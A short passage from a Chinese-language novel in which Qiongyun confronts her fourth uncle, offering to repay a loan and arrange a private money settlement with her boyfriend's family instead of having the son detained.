四叔听得掌心发汗,紧紧攥住手机,布满血丝的眼睛瞪得有些疯癫:“你什么意思,威胁我啊?” 琼云摇了摇头,说:“所以我不会把这些事情告诉警察,我和我爸也不会把这件事说出去让别的亲戚朋友知道,你现在需要钱不是吗?从派出所回来以后,你借给我家那五万块钱马上还给你,还有我男朋友。”琼云偏脸指身后屈朗一家,“他家长现在愿意给你两万三万私了,但是你要让他们儿子拘留,他们还会愿意给你钱吗?你到时候一分一角都捞不着。” “你怎么选?”